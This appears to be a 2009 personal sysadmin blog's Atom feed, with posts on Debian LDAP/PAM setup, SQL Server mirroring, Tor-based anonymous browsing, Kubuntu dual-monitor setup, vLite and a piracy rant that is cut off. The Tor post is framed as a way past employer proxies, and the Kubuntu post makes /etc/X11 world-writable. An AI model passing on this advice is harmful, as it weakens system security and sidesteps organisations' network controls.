/&gt;Now you have to tell pam how to get it's users so make your /etc/nssswitch.conf look like the below, it is very important to get the order right, compat must come first and then ldap. I found that my machine wouldn't boot if it was trying to do the ldap first.&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;#passwd:         compat&lt;br /&gt;#group:          compat&lt;br /&gt;#shadow:         compat&lt;br /&gt;passwd:         compat ldap&lt;br /&gt;group:          compat ldap&lt;br /&gt;shadow:         compat&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;You must now make nsswitch readable by all so:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;chmod 644 /etc/nsswitch.conf&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Now you can test this is working by doing:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;getent passwd USER.NAME # this must be a username you have enabled up there ^&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;/etc/pam.d Common Files&lt;br /&gt;&lt;br /&gt;Debian has a series of files in /etc/pam.d appended by common- at the beginning of their names, which are included by the other files in that directory for specific services. We can tell PAM to use LDAP for all of these services by modifying these common files.&lt;br /&gt;&lt;br /&gt;In /etc/pam.d/common-password, comment out and replace:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;password required pam_unix.so nullok obscure min=4 max=8 md5&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;or:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;password required pam_cracklib.so retry=3 minlen=6 difok=3&lt;br /&gt;password required pam_unix.so use_authtok nullok md5&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;with:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;# try password files first, then ldap. enforce use of very strong passwords.&lt;br /&gt;password required pam_passwdqc.so min=disabled,16,12,8,6 max=256&lt;br /&gt;password sufficient pam_unix.so use_authtok md5&lt;br /&gt;password sufficient pam_ldap.so use_first_pass use_authtok md5&lt;br /&gt;password required pam_deny.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Read the pam_passwdqc man page for more about parameters you can give to it. In /etc/pam.d/common-auth comment:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;auth required pam_unix.so nullok_secure&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;replace with:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;# try password file first, then ldap&lt;br /&gt;auth sufficient pam_unix.so&lt;br /&gt;auth sufficient pam_ldap.so use_first_pass&lt;br /&gt;auth required pam_deny.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In /etc/pam.d/common-account comment:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;account required pam_unix.so&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;replace with:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;# try password file first, then ldap&lt;br /&gt;account sufficient pam_unix.so&lt;br /&gt;account sufficient pam_ldap.so&lt;br /&gt;account required pam_deny.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And this line to /etc/pam.d/common-session:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;&lt;br /&gt;session required pam_mkhomedir.so skel=/etc/skel/ umask=0022&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;This should now be it, I haven't quite got automatic sudo working yet or auto mount of the home dir from an nfs source but that is the next step :)&lt;br /&gt;&lt;br /&gt;Troubleshooting:&lt;br /&gt;Password you bind with must not have special characters&lt;br /&gt;In nscd.conf you must have a decent sized cache file&lt;br /&gt;Your unix attributes must be correct&lt;br /&gt;check that your getent passwd is working and that your ldapsearch is working&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-5018792143241394578?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/5018792143241394578/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=5018792143241394578' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5018792143241394578'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5018792143241394578'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/05/ldap-authentication-in-debian.html' title='LDAP Authentication in Debian'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-4784048165497193116</id><published>2009-05-11T15:13:00.002Z</published><updated>2009-05-11T15:15:07.158Z</updated><title type='text'>Database Mirroring for Non Domain MS SQL Servers</title><content type='html'>Configuration of Database Mirroring for Non-Domain based SQL Servers&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Assumptions&lt;/span&gt;&lt;br /&gt;2 SQL Servers running SQL 2005 SP1 (or greater)&lt;br /&gt;Network connectivity between them&lt;br /&gt;System privileges to create user accounts and change service log on credentials&lt;br /&gt;Databases to be mirrored set to FULL recovery model&lt;br /&gt;&lt;br /&gt;Initial decision is which server is going to be your primary&lt;br /&gt;&lt;br /&gt;Once this is decided, create a new account with a strong password, that you will run SQL Server and the SQL Server Agent with&lt;br /&gt;Add this account to the group SQLServer2005MSSQLUser$SERVER-NAME$SQLINSTANCE&lt;br /&gt;&lt;br /&gt;Set the services "SQL Server ($SERVERINSTANCE)" and "SQL Server Agent ($SERVERINSTANCE)" to run under this account&lt;br /&gt;&lt;br /&gt;This should be done on BOTH SQL Server Machines&lt;br /&gt;&lt;br /&gt;On BOTH machines, run the following T-SQL queries to build the Mirroring Endpoints&lt;br /&gt;&lt;pre&gt;&lt;code&gt;CREATE ENDPOINT mirror&lt;br /&gt;STATE = STARTED&lt;br /&gt;AS TCP&lt;br /&gt;(LISTENER_PORT = 5022)&lt;br /&gt;FOR DATABASE_MIRRORING&lt;br /&gt;(AUTHENTICATION = WINDOWS, ENCRYPTION = SUPPORTED,ROLE = ALL)&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now, on the PRIMARY, select the database to be mirrored and back it up (Full Backup), copy this backup to the SECONDARY server and restore using the "WITH NORECOVERY" option This will leave the SECONDARY database in the Restoring state.&lt;br /&gt;&lt;br /&gt;Back on the PRIMARY server, right click on the database and select Tasks &gt; Mirror&lt;br /&gt;&lt;br /&gt;Run through the "Configure Security..." wizard&lt;br /&gt;Do not use a witness server&lt;br /&gt;You may need to log on to the SECONDARY SQL Server using appropriate credentials. It will automatically detect the endpoint created earlier.&lt;br /&gt;When prompted for a user for the principal and Mirror, DO NOT ENTER ANY DETAILS&lt;br /&gt;The Mirroring Configuration Wizard will complete with 0 errors or Warnings.&lt;br /&gt;Select Do Not Start Mirroring&lt;br /&gt;&lt;br /&gt;Still on the primary server, select the Principal server address and change it so it is a FQDN (including a domain)&lt;br /&gt;for example server1.sqltesting.com:5022&lt;br /&gt;For the most likely to succeed option inspect the Mirror server address.&lt;br /&gt;&lt;br /&gt;Once this is set, hit Start Mirroring. You will get an error message that the mirror database has insufficient transaction log data to preserve the log backup chain of the principal database...&lt;br /&gt;Hit OK on this BUT do not ok or cancel off the datbase properties page for the PRIMARY database. This indicates that they can successfully communicate.&lt;br /&gt;&lt;br /&gt;On Management Studio on the PRIMARY, right click on the database and select tasks&gt; Backup&lt;br /&gt;In the backup type, select Transaction Log and back it up to an appropriate location.&lt;br /&gt;&lt;br /&gt;On the SECONDARY server,right click on the database to be mirrored and select Tasks &gt; Restore Transaction Log&lt;br /&gt;Select the path to the transaction log backup from the PRIMARY server.&lt;br /&gt;Restore this ensuring to select the WITH NORECOVERY option on the options screen.&lt;br /&gt;&lt;br /&gt;On the PRIMARY server, on the still open properties page, do not change the Operating mode unless you know what you are doing, then click Start Mirroring&lt;br /&gt;&lt;br /&gt;There will be a slight delay and the Status will change to Synchronizing, hit refresh and as long as not too many transactions have gone through, it should change to Synchronized.&lt;br /&gt;&lt;br /&gt;You can now close this window and have mirrored databases.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-4784048165497193116?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/4784048165497193116/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=4784048165497193116' title='6 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/4784048165497193116'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/4784048165497193116'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/05/database-mirroring-for-non-domain-ms.html' title='Database Mirroring for Non Domain MS SQL Servers'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-1800656227642286153</id><published>2009-05-11T13:27:00.004Z</published><updated>2009-05-11T14:17:35.771Z</updated><title type='text'>Anonymous Internet Browsing</title><content type='html'>(Or How BT Mobile Broadband can make you feel like a criminal)&lt;br /&gt;&lt;br /&gt;This post was inspired by the despicable means that BT use to try and prevent you from doing what you want on the internet whilst using one of their mobile dongles. Some people (myself included) don't like other's seeing what they do on the internet, this is how you get around it.&lt;br /&gt;&lt;br /&gt;**DISCLAIMER**&lt;br /&gt;&lt;br /&gt;This can be used to get around proxy services and servers that your friendly neighbourhood SysAdmin might have put in place for the safety of their network. If you get caught using this and violating your employer's acceptable use policy, on your own head be it.&lt;br /&gt;&lt;br /&gt;A SysAdmin will probably beat on you with a spanner for just discussing this, Yes I am a SysAdmin and Yes I would.&lt;br /&gt;&lt;br /&gt;So enough of that nonsense and thinly veiled threats, let's get down to getting you on the internet.&lt;br /&gt;&lt;br /&gt;Go and download &lt;a href="http://prdownloads.sourceforge.net/portableapps/Firefox_Portable_3.0.10_en-us.paf.exe"&gt;FirefoxPortable&lt;/a&gt; from portableapps.com&lt;br /&gt;Install this to your USB Thumbdrive or to a location on your hard drive&lt;br /&gt;&lt;br /&gt;Download &lt;a href="http://www.torproject.org/dist/vidalia-bundles/vidalia-bundle-0.2.0.34-0.1.10.exe"&gt;TOR&lt;/a&gt; from www.torproject.org&lt;br /&gt;&lt;br /&gt;when installing TOR/Vidalia, Select a "Base" install and expand out the Torbutton option, deselect "Add to Firefox"&lt;br /&gt;Change the destination folder to be a folder on your USB Drive, I called mine Vidalia.&lt;br /&gt;Don't run the Installed components just yet.&lt;br /&gt;&lt;br /&gt;Go to the installed folder and browse to the Torbutton folder, right click on the torbutton-1.2.0-fx.xpi and select "open with..." point this to your portable firefox installation and run it, then restart firefox portable. Open up the add-ons options for Torbutton and ensure that "Use Privoxy" is enabled&lt;br /&gt;&lt;br /&gt;When you want to browse anonymously, run Vidalia from your USB drive, open up firefox portable, and down in the bottom right, click on Tor Disabled to start Tor and browse to your hearts content, relatively safe in the knowledge that no one can see your browsing activity.&lt;br /&gt;&lt;br /&gt;To add Flash to this, copy flashplayer.xpt and NPSFW32.dll from c:\windows\system32 into FirefoxPortable\App\DefaultData\plugins and restart firefox. This doesn't work with all flash video players but youTube works.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-1800656227642286153?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/1800656227642286153/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=1800656227642286153' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/1800656227642286153'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/1800656227642286153'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/05/anonymous-internet-browsing.html' title='Anonymous Internet Browsing'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-5388580903354130255</id><published>2009-04-30T06:59:00.002Z</published><updated>2009-04-30T07:06:49.316Z</updated><title type='text'>Kubuntu 9.04 on Vostro 220s with dual monitors</title><content type='html'>Installation of Kubuntu 9.04 "Jaunty Jackelope" on a vanilla Vostro 220s is very straightforward. My Vostro however is not vanilla in that I have added an addin graphics card, an nVidia GeForce 8400GS with dual outputs.&lt;br /&gt;&lt;br /&gt;This is what caused my problems from earlier when I tried to move to 9.04 beta release.&lt;br /&gt;&lt;br /&gt;How you get it running on this system is as follows.&lt;br /&gt;&lt;br /&gt;Open up your case and pull the VGA output off the graphics card, this tells the card that it only has one output.&lt;br /&gt;&lt;br /&gt;Start up your machine and open the BIOS settings and tell your machine to use the pci-express graphics card before the on-board one. Dell machines normally complain otherwise.&lt;br /&gt;&lt;br /&gt;Install [K]ubuntu 9.04 as normal in whatever layout you want.&lt;br /&gt;&lt;br /&gt;After installation, get your system updates and enable the restricted nVidia Drivers (V. 180) &lt;br /&gt;&lt;br /&gt;Reboot and check your machine still works and that you now have the nVidia Server Settings option in your K menu (or wherever it goes for Gnome)&lt;br /&gt;&lt;br /&gt;Power off after testing and plug your VGA output back in on the card, attach your second monitor&lt;br /&gt;&lt;br /&gt;Open up your nVidia Server Settings application and enable the second monitor. DO NOT CLOSE THIS APPLICATION YET&lt;br /&gt;&lt;br /&gt;Open up a terminal window (ALT+F2 "konsole") and enter &lt;pre&gt;&lt;code&gt;sudo chmod a+w /etc/X11&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Back in your nVidia Server Settings app, hit "save to X configuration" and you are now done. Dual screens persistent across reboots.&lt;br /&gt;&lt;br /&gt;TA bloody DA.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-5388580903354130255?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/5388580903354130255/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=5388580903354130255' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5388580903354130255'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/5388580903354130255'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/04/kubuntu-904-on-vostro-220s-with-dual.html' title='Kubuntu 9.04 on Vostro 220s with dual monitors'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-7148905985639783397</id><published>2009-04-28T08:16:00.003Z</published><updated>2009-04-28T08:18:46.679Z</updated><title type='text'>Burning ISOs from Command Line Linux</title><content type='html'>isowrite.sh&lt;br /&gt;&lt;pre&gt;&lt;code&gt;#!/bin/sh&lt;br /&gt;sudo cdrecord -v dev=1,0,0 -data $1&lt;br /&gt;sudo eject&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;install cdrecord (apt-get install cdrecord) then create a bash file somewhere in your $PATH (/usr/bin) then run:&lt;br /&gt;&lt;pre&gt;&lt;code&gt;isowrite.sh /Path/To/ISO.iso&lt;/code&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-7148905985639783397?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/7148905985639783397/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=7148905985639783397' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/7148905985639783397'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/7148905985639783397'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/04/burning-isos-from-command-line-linux.html' title='Burning ISOs from Command Line Linux'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-2322304914087956475</id><published>2009-04-28T08:08:00.004Z</published><updated>2009-04-28T09:00:16.463Z</updated><title type='text'>Removing Sticky Stuff</title><content type='html'>Peeled a few labels off a Dell Latitude 131L (yes the one that doesn't want to install Vista, can't really blame it) and got left with a load of very sticky stuff and bits of label guff.&lt;br /&gt;&lt;br /&gt;Don't have any spirits or thinners to hand to remove it and wouldn't really want to use them in case it eats through the laptop casing (would be very bad as it's not my laptop)&lt;br /&gt;&lt;br /&gt;Whip out the old gaffer tape/duct tape and tear off a strip. Stick it down on the surface with the sticky stuff and rip it off, takes a bit of the sticky crap with it. Repeat as necessary. Yes you may worship me.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-2322304914087956475?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/2322304914087956475/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=2322304914087956475' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/2322304914087956475'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/2322304914087956475'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/04/removing-sticky-stuff.html' title='Removing Sticky Stuff'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-7487096997260314960</id><published>2009-04-27T16:27:00.004Z</published><updated>2009-04-28T09:00:44.060Z</updated><title type='text'>vLite - Unattended Installations for Windows VIsta</title><content type='html'>&lt;span style="font-family:arial;"&gt;How to create your very own bootable ISO with all the drivers you could need on it.&lt;br /&gt;&lt;br /&gt;Go to &lt;a href="http://forum.driverpacks.net/"&gt;www.driverpacks.net&lt;/a&gt; and download all the driver packs for your architecture (x86/x64) Extract the .7z files to a local directory using 7-zip (&lt;a href="http://www.7-zip.org"&gt;www.7-zip.org&lt;/a&gt;) or winRAR (&lt;a href="http://www.rarlabs.com"&gt;www.rarlabs.com)&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Download vLite and the Windows Automated Installation Kit (W.A.I.K.), these are both free and should be the first hits in google&lt;br /&gt;&lt;br /&gt;Install the WAIK and then install vLite - don't run it just yet.&lt;br /&gt;&lt;br /&gt;Copy the wimgapi.dll from the Windows AIK/Tools/YourArchitecture folder (x86/ia64/amd64) into the vLite root folder. Windows AIK defaults to installing in "c:\Program Files\Windows AIK"&lt;br /&gt;&lt;br /&gt;Run vLite and on the first screen pop in your Vista DVD and direct it to that drive (it will prompt you to create a local copy) or point it to a location where you have copied all the files from the CD.&lt;br /&gt;&lt;br /&gt;NOTE 1: I recommend copying the files across yourself and then making an additional copy of the folder. Using vLite can be a destructive process and you may not get it right first time. If you have a spare copy on your hard drive, your golden master, so to speak. It's a lot easier and quicker to just clone this folder than having to: find your DVD or mount the ISO, copy the files across etc. etc. etc.&lt;br /&gt;&lt;br /&gt;NOTE 2: If you are struggling for space you can uninstall the WAIK and save a few gigabytes as you will need them shortly to create your ISO, at least 6G is what I would recommend leaving available so you can copy the files locally and build your ISO image.&lt;br /&gt;&lt;br /&gt;vLite will now detect your architecture type and the version of Vista that you have given it. On the next screen, all the options with the exception of Integration is optional (technically it is but then you wouldn't have any drivers installed on your DVD which is kinda the point of this post)&lt;br /&gt;&lt;br /&gt;The checkboxes let you do several things, most of them are self-explanatory from the name of the checkbox but let me give you a quick overview.&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;Integration&lt;/span&gt; -&lt;span style="font-style: italic;"&gt; HotFixes, Drivers and Additional Language Packs&lt;/span&gt;&lt;br /&gt;Using this will let you integrate HotFixes from Microsoft, Drivers from 3rd Parties (or MS) Language packs (Haven't used this option yet)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Components &lt;/span&gt;- &lt;span style="font-style: italic;"&gt;Component Removal&lt;br /&gt;&lt;/span&gt;This lets you remove components that you are not intending to use - EVER.&lt;br /&gt;There is an optional popup screen to protect certain applications that use shared files etc. but unless you know what you are doing and the consequences, which could potentially be far reaching if you don't know what the system will be used for. It's best to leave this alone except as mentionned for very specific uses.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Tweaks&lt;/span&gt; - &lt;span style="font-style: italic;"&gt;Optional Tweaks&lt;br /&gt;&lt;/span&gt;In here you can specify tweaks that mean you don't have to do as much on first boot into your new O/S. Things like specifying that the control panel should default to classic mode (very useful), or that the IE Phishing filter should be disabled (why are you using IE anyway?) etc. There are quite a few things in here and it's worth a look&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Unattended&lt;/span&gt; - &lt;span style="font-style: italic;"&gt;Install without your intervention&lt;/span&gt;&lt;br /&gt;All the options in this section are used to make your life easier. You can specify your product key, skip activation, set your language settings, set up the Administrator User, name your PC (Not that useful in a corporate environment) and a few other bits.&lt;br /&gt;&lt;br /&gt;You should take a look at most of the options with the possible exception of the Component removal and Tweaks. If you know enough that you are going to integrate additional installers onto your disc you should know to ignore creating the bootable ISO as you will have to do that later yourself.&lt;br /&gt;&lt;br /&gt;Once you've completed all your modifications, you can hit apply and it will update the copy of the Vista installation files (see NOTE 1 above)&lt;br /&gt;&lt;br /&gt;THIS STEP DOES NOT CREATE THE ISO. Do not press exit if you want to create a bootable ISO image.&lt;br /&gt;&lt;br /&gt;Click on the next button and you will be presented with an additional screen. This will let you create your ISO image OR burn directly to DVD. I recommend creating the ISO.&lt;br /&gt;On this screen there is also the option to split the image if its very large or possibly to make it fit on CDs if you don't have a DVD ROM in your target device. I haven't used this option yet so can't guid you on its use.&lt;br /&gt;&lt;br /&gt;Once you are happy with the name of your new disc/disc image (defaults to VistaLite even though it might be a bit bigger) hit Make ISO or Burn. In the case of Make ISO it will ask you for the output path.&lt;br /&gt;&lt;br /&gt;NOTE 3: Do Not Integrate all drivers if you want to install it on a Dell Latitude 131L, I'm still working on what is actually required to install Vista on this without it BSODing regarding the graphics card.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-7487096997260314960?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/7487096997260314960/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=7487096997260314960' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/7487096997260314960'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/7487096997260314960'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/04/vlite-unattended-installations-for.html' title='vLite - Unattended Installations for Windows VIsta'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-8559150386047471698</id><published>2009-04-24T13:16:00.002Z</published><updated>2009-04-24T13:23:33.722Z</updated><title type='text'>American Idiot (Politician)</title><content type='html'>Seriously though, where the hell do they get these people AND WHY ARE THEY RUNNING THE COUNTRY?&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.youtube.com/watch?v=pgKepHebKRc&amp;amp;eurl=http%3A%2F%2Ftpmtv.talkingpointsmemo.com%2F%3Fid%3D2410363&amp;amp;feature=player_embedded"&gt;Youtube Linkage&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/18224401-8559150386047471698?l=danmacs.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://danmacs.blogspot.com/feeds/8559150386047471698/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=18224401&amp;postID=8559150386047471698' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/8559150386047471698'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/18224401/posts/default/8559150386047471698'/><link rel='alternate' type='text/html' href='http://danmacs.blogspot.com/2009/04/american-idiot-politician.html' title='American Idiot (Politician)'/><author><name>Daniel</name><uri>http://www.blogger.com/profile/01139429275559476725</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://1.bp.blogspot.com/_TkdF347n4Bk/SdxVHBGGPKI/AAAAAAAAACQ/xQRKIqgbedo/S220/DanielMcLaughlin.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-18224401.post-5993563752923154986</id><published>2009-04-23T11:39:00.005Z</published><updated>2009-04-23T13:08:58.184Z</updated><title type='text'>Piracy - Garrrr</title><content type='html'>Okay, this is going to be a bit of a rant, I need to get this off my chest before I go on the rampage. I'm not in any way condoning the practise of copying media that you do not own but&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;COPYING SOFTWARE/MEDIA FILES IS NOT PIRACY&lt;/span&gt;. It's not even theft!&lt;br /&gt;&lt;br /&gt;I think the image below expresses my feelings appropriately:&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_TkdF347n4Bk/SfBUpTz3cxI/AAAAAAAAAC8/BSpZwGCIrnk/s1600-h/Piracy.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 227px;" src="http://3.bp.blogspot.com/_TkdF347n4Bk/SfBUpTz3cxI/AAAAAAAAAC8/BSpZwGCIrnk/s400/Piracy.png" alt="" id="BLOGGER_PHOTO_ID_5327851427848483602" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Peer-to-peer networking is a useful tool, it is not the exclusive realm of the "Pirate", [oh fuck, I can't even say pirate. - ed] Lets try it again&lt;br /&gt;It's not the realm of the person that wants to copy files across the network (internet/LAN) that they do not hold copyright licenses for.&lt;br /&gt;&lt;br /&gt;In my opinion, the judgment in the PirateBay.org case was incorrect, they are merely providing an information repository that does not in any way contain copyrighted files.&lt;br /&gt;The decision to find them guilty in this case was incredibly poor judgment, take this for example.&lt;br /&gt;You burn a DVD containing several MP3 files for your "Friend", you post it to him/her but forget to put enough postage on it. The post office holds it and tell your "Friend" to come and collect it.&lt;br /&gt;Are they in breach of copyright? Of course not. The same should have applied to PirateBay.&lt;br /&gt;&lt;br /&gt;Next on my list, "&lt;span style="font-weight: bold;"&gt;Downloading films is stealing&lt;/span&gt;" trailers on every bloody DVD that you BUY.&lt;br /&gt;&lt;br /&gt;How mentally retarded are these people? They are effectively encouraging people not to buy films if they put these ridiculous trailers at the start of every film that in some cases you can't skip through. I bought 